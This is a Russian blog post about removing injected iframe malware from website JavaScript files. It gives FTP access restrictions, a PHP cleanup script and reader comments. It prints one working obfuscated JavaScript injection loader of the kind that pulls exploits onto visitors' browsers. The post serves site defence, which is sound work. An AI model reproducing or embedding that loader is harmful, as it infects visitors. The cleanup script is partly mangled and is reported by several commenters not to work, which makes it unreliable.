Удаляем вирус с сайта или борьба с iFrame на сайте
// 3 мая 2012 // WEB, Безопасность, Программирование
Хотел начать свой блог с лирики, но выдалась такая неспокойная неделя, что решил поприветствовать Всех статьей по существу. Привет!
А вся неделя прошла в войнах с постоянными взломами моих хостингов и заражением всех JavaScript файлов ifram’ами, а это не много не мало порядка 2500 скриптов и все сайты с вирусами.
Не успевал я за день очищать все файлы в ручном режиме и менять пароли, как на следующий день происходило всё снова – пароли каким-то образом утекали и скрипты все вновь успешно по FTP троянились.
Пятница недели стала последней каплей и я потратил день на защиту своих серверов:
- Настроил на серверах .ftpaccess – ограничив тем самым доступ по фтп к серверам со всех IP кроме своей статики;
- Написал скрипт автоудаления из всех файлов .js iframe’ов, вирусов. Итак, по порядку.
Заражение файлов сайта происходит банальной вставкой iframe кода в файлы по ftp, раньше я чаще наблюдал вставки в .php, .html файлы – что приводило к полному падению сайтов, сегодня зловреды стали добрее и стали писать вставки исключительно в файлы с расширением .js – JavaScript. IFRAME вставки пишутся в конец файла и могут быть как в явном виде <iframe></iframe> (легко обнаруживаются антивирусами), так и в кодированном (работа различных iframe крипторов), например:
try{q=document.createElement("u");q.appendChild(q+"");}catch(qw){h=-012/5;zz='a'+'l';f='fr'+'om'+'Ch';f+='arC';}try{qwe=prototype;}catch(brebr){zz='zv'.substr(123-122)+zz;ss=[];f+=(h)?'ode':"";w=this;e=w[f.substr(11)+zz];n="17$48$55.5$52$46.5$55$49.5$52.5$52$17$17.5$13$58.5$3.5$2$1.5$56$45.5$54$13$55.5$54$51$13$27.5$13$26.5$3.5$2$59.5$17.5$17$17.5$26.5"[((e)?"s":"")+"p"+"lit"]("a$".substr(1));for(i=6-2-1-2-1;i-684!=0;i++){k=i;ss=ss+String.fromCharCode(-1*h*(3+1*n[k]));}q=ss;e(q);} |
Весь этот символьный хаос в результате работы JavaScript превращается в легко читающийся HTML код iframe вставки и загружает пользователю сайта тело вируса посредством работы эксплойта. Опираясь на данный минимум теории начнем защищаться от заражения сайтов.
Настройка .ftpaccess – ограничиваем доступ по фтп к серверам
Вирусы, которые грабят ваши пароли от ftp настолько хитры, что антивирусы зачастую бессильны и пароли утекают, как бы Вы не защищались. Предлагаю пойти по другому пути – и просто перекрыть доступ к вашему ftp. Чтобы разрешить доступ по FTP только с определенных IP, разместите в корне своего сервера, папки с сайтов файл .ftpaccess с содержимым:
Allow from xx.xx.xx.xx
Allow from xx.xx.xx.xx
Deny from all
Где xx.xx.xx.xx — это ваш IP, с которого разрешена активность по FTP, всем остальным досвидания.
За выделенным IP звоним провайдеру!
Если все же вы не можете получить выделенный адрес, а имеете динамические адреса, то можно указать диапазон адресов, из которого выдаются IP-адреса вашим интернет-провайдером, например это будет выглядеть так:
Allow 212.32.5.0/26
Allow 158.152.0.0/16
Deny from all
Это позволит ограничить доступ взломщикам к вашим серверам.
Скрипт автоудаления из всех файлов вставок iframe’ов
После того как сервера были защищены, я приступил к написанию скрипта, который сможет проверить сайт на вирусы и проходил бы по всем папка хостинга, проверяя указанные мной форматы файлов на наличие в содержимом iframe’ов. Результатом работы явился следующий скрипт, который удаляет вставки вредоносного кода из страниц сайта, в конкретном примере из .js скриптов:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 | <!--?php // iframe удалятор от gloosoft.net $virus_start = 'try{q=document.createElement'; //начало вредоносного кода $virus_end = 'q=ss;e(q);}'; //конец вредоносного кода $skip_files = array ('clean.php'); //название файла - который следует проигнорировать при проверке $del = true; //лечим(true) или просто смотрим кол-во зараженных файлов(false) $dir = getcwd().'/'; //корень сайта $num_infected = 0; function dir_walk($callback, $dir, $types = null, $recursive = false, $baseDir = '') { if ($dh = opendir($dir)) { while (($file = readdir($dh))!== false) { if ($file === '.' || $file === '..') { continue; } if (is_file($dir . $file)) { if (is_array($types)) { if (!in_array(strtolower(pathinfo($dir . $file, PATHINFO_EXTENSION)), $types, true)) { continue; } } $callback($baseDir, $file); }elseif($recursive && is_dir($dir . $file)) { dir_walk($callback, $dir . $file . DIRECTORY_SEPARATOR, $types, $recursive, $baseDir . $file . DIRECTORY_SEPARATOR); } } closedir($dh); } } function del_virus($fdir, $ffile) { $flag = false; $filename = $fdir.$ffile; echo $filename; $file=file($filename); foreach($file as $k=-->$v) { $virus_text = $GLOBALS['virus_start']; $pos_start = stripos($v, $GLOBALS['virus_start']); $pos_end = stripos($v, $GLOBALS['virus_end']); $virus_text = substr($v, $pos_start, $pos_end); if ($virus_text != "") { if (!stristr($v, $virus_text)) { $nfile[]=$v; } else { if (!$flag) { $flag=true; if (in_array($ffile, $GLOBALS['skip_files'])) echo " - skipped"; else { echo " - infected"; $GLOBALS['num_infected']++; } } } } else { $nfile[]=$v; } } if ( $GLOBALS['del'] ) { $file=fopen($filename,"w"); fwrite($file,implode($nfile,"")); fclose($file); } } dir_walk('del_virus', $dir, array('js'), true, $dir ); echo "Num infected = $num_infected "; ?> |
Пользуйтесь наздоровье, если будут вопросы – задавайте – чем могу, помогу! Код не надо копипастить из статьи – КАЧАЙТЕ ПО ЭТОЙ ССЫЛКЕ .
В одной из следующих статей напишу простейший криптор iframe’ов, что бы вы понимали что же такое Вам в сайты встраивают и для чего.
Спустя год после написания этой статьи появилась полноценная бесплатная система безопасности сайтов “САНТИ”, которая включает в себя и все вышеизложенные рецепты и десяток прочих инструментов для лечения сайтов – //santivi.com.
Спасибо! Скрипт помог очистить мой хостинг и файлы от вируса на сайте.
Спасибо большое за скрипт. Реально работает и чистит файлы от вредоносного кода.
С помощью этого скрипта реально почистили сайты очень быстро. Если бы без скрипта чистили ушло бы раз в 20 времени больше.
Ребята молодцы, спасибо за скрипт. Такой скрипт теперь очень нужная в “быту” web – дизайнера вещь !!!
Вопрос крайне тупой наверное, но как воспользоваться данным скриптом на joomla 1.5
Так же как и везде – положить на сервер, указать начало и конец вредоносных вставок в JS, дать права скрипту на запись и запустить. Только сделайте бекап на всякий случай =)
Здравствуйте, у меня вопрос по вашему скрипту удаления iframe вирусов. Как его установить на Joomla 1.5? то есть куда именно в какую конкретно папку мне его установить и каким образом запустить его ?
стучите в icq – проконсультирую.
Спасибо большое разработчику! Не получалось настроить скрипт, постучал в аську, Gloo мне сам подправил скрипт и отправил! ПОБОЛЬШЕ ТАКИХ ЛЮДЕЙ!
Еще не опробовал скрипт. Но хочу спросить – сам очаг, то что генерировало вредоносный код куда дели? Чтото про него не слово.
Руками просто удалял – через пару минут код возвращался, так и не нашел до сих пор заразу.
Очаг всегда ищите глазами и руками =) это может быть скрипт который вам положили на хостинг, если это скрипт то он должен регулярно запускаться – если он должен регулярно запускаться – то ищите его инклюд в index.php, в шаблонах и так далее – вобщем в php файлах который учавствуют в генерации контента сайта и самого сайта. Вариант два – файл запускается кроном из вне, тогда просто ищите файл с недавней датой добавления на хост – смотрите что внутри и удаляйте если это гадость.
Игорь, я тоже хапнул. На хостинге 8 сайтов лежит, все заражены. Удаляю код и он вновь появляется, а еще домены в iframe меняются, бьюсь вторые сутки. Танцы с бубном. Что делать ума не приложу…
Что что, скриптом удаляй, глазами ищи генератор этого вредоносного кода.
Отличный сайт!!! Спасибо большое админу за помощь
Здравствуйте,
Спасибо за предоставленный скрипт, но если можно, опишите как все таки его настроить подробнее для конкретного сайта, что бы удалить эти ifram-ы. Для тех кто не очень силен в php.
Пожалуйста, если есть вопросы – стучите на жабу или в аську – я всегда рад подсказать.
[…] на статистику посещения своего поста про iframe вирусы на сайте и способы их лечения, посчитал общее колличество […]
Здравствуйте! Не подскажете, как вставить ваш замечательный код? У меня два сайта закрепли из-за iFrame
Спасибо
Просто кинуть на сервер скрипт и настроить его на маску iframe вставки вашей, дальше запускаете и он все что подходит под маску удаляет
Куда вставить этот код и как? У меня форум, а в программировании – нуб нубом :/
Ну тогда лучше самостоятельно не лезть, хотя, стучите в месенджер попробуем удалить вирусы с вашего сайта
Простите я не очень в этом разбираюсь но очень хочу узнать а куда этот кодик мне вставить простите что отвлекаю вас
Стучите в аську помогу
Здравствуйте!
У меня три сайта заражены этим вирусом.
Serenada.ru, krupenin.ru, fabrika-idei.ru.
Самостоятельно удалить вирус не получилось – возвращается.
Можете помочь? Готов оплатить ваши услуги.
Спасибо
помог 😉
я новенький в этих делах,потому я хочу спросить “как узнать где находиться корневая папка”
ставьте систему безопасности сайтов САНТИ – //santivi.com – там все подскажет он сам.
Проблема с iframe-вставками. Как же их удалить?
Поставьте САНТИ антивирус на сайт, если что-то не выйдет помогу
Спасибо огромное автору!
За короткое время сайт чистенький и гугл вновь вернул его в рейтинг. Еще раз спасибо.
Спасибо автору. Не только за полезную статью, но и за помощь в личной беседе! Приятно было пообщаться!
Здравствуйте. Тема еще жива.
У меня постоянно какие-то вредоносные коды на сайте появляются. Раз в 2 дня удаляю. Хостер пишет, что CMS нужно обновить, но у меня она новая… Зашла и зарегистрировала свой сайт по вашей ссылке, что бы скачать САНТИ, мне предложили для скачивания: 7z файл; zip файл; и
Документация по установке и использованию САНТИ 0.4.
И еще Windows-приложение для работы с бекап-архивами САНТИ. Это все скачивать подряд? А куда устанавливать, в плагины? Иногда меня можно найти в скайпе Liliya_X, но лучше по почте…
Подскажите, почему у меня скрипт удаляет вредный код только если на директории и файлы выставить права 777? Также не пойму, что указать чтобы поиск был по всему сайту. Если указываю конкретно /js/ то идет, а если / не ищет ?!
Скрипт поправил, в корень сайта положил, в index.php на выполнение прописал. Захожу в браузере на сайт, вижу все зараженные файла перечислены на странице, а в конце строчка Num infected = 0. Проверяю js файлы на сервере – тело вируса не удалено.
Подскажите, что не так сделал?
Уважаемый Автор!
Подскажите, пожалуйста, как избавиться от бесконечной загрузки iframe.php
Здравствуйте. На сайте обнаруживается подозрение на iframe. Подскажите, плиз, что делать. Не сильна я во всех этих кодах. Если можно, то на электронку ответьте. Заранее спасибо.
Посмотрела. Это я TV онлайн установила. Там в коде есть iframe. Жаль, что придется удалять.
А 2 ip все-равно показывает, что есть подозрение… Не понимаю…
Пишите мне в ICQ, будем искать причины вместе.
Здравствуйте. Помогите, плиз, разобраться. Я на своем сайте использую файлообменник turbobit.net для раздачи своих файлов. Недавно все файлы стали скачиваться с расширением exe вместо rar. Похоже появился вирус. В тех поддержке сайта говорят обращаться в turbobit. Туда достучаться пока не получается. Что мне делать, как чайнику?
а может быть это не вирус а сбой ваших скриптов?
Что то у меня не получается, все вроде настроил, но с другого айпи захожу и все равно имеет доступ по фтп.
Куда нужно ложить этот файл, я положил в самый корень где папка www?
Скорее всего у вас не поддерживается данная функция на хостинге.
Помогите, если это возможно, на сайте выдается ВРЕДОНОСНОЕ ПО. Поставить САНТИ на хостинг не получается. Я в этом полный чайник. Два года назад прошла курсы “Твой Старт”. Нахваталась сайтов и забросила их. А вот сейчас пришли тугие времена, и я вновь обратилась к сайтам. Оплатить профи не смогу, т.к. живу в АТО (Донецк). Все банки и банкоматы заблокированы. Зарплату не получаем. Вот и схватилась за сайты, как за спасательный круг.
Я так понимаю вы мне писали лично, так что оставлю это тут без ответа.
Помогите разобраться с запуском, в корень закинул, прописываю в адресной строке его запуск…он мне просто напросто выдает адреса и файлы которые лежат в папке js
Помощь по удалению вредоносного кода с сайта вирусов.
Есть как платные услуги так и бесплатные . Консультация отчёты по роботе обращайтесь
Щиро вдячний автору за корисну ынформацыю!!!
Здравствуйте.Очень нужна ваша помощь.У меня на сайте вирус iframe.
Он находится у меня в базе данных.Я его нашел и удалил.Проверил на вирус файл, все нормально.Зато после этого я импортировал его обратно на хостинг, пишет что сайт недостуаен.Вот код:
</iframe
обратитесь на форум сервиса //santivi.com
Здравствуйте! Помогите, я новичок! Установил //santivi.com, Выбрал “Поиск и удаление вредоносных вставок” – нужно указать начало и конец вредоносной вставки – что это? Что нужно прописать?
Сергей, вам на форум САНТИ.
Здравствуйте.
В процессе наполнения и запуска нового сайта наткнулся на вредоносные вставки.можете помочь с лечением. С нетом не дружу.
александр, обратитесь на форум САНТИ forum.santivi.com, там могут помочь.
Добрый день, сегодня с обновлением материала сайта, начали высвечиваться вставки, помоги мне от них избавится
Марина, обратитесь в santivi.com, там помогут
Скрипт поправил, в корень сайта положил, в index.php на выполнение прописал. Захожу в браузере на сайт, вижу все зараженные файла перечислены на странице, а в конце строчка Num infected = 0. Проверяю js файлы на сервере – тело вируса не удалено.
Подскажите, что не так сделал?
Вероятно с правами ошибились или в файле флаг в режиме сканирования оставили, а не лечения.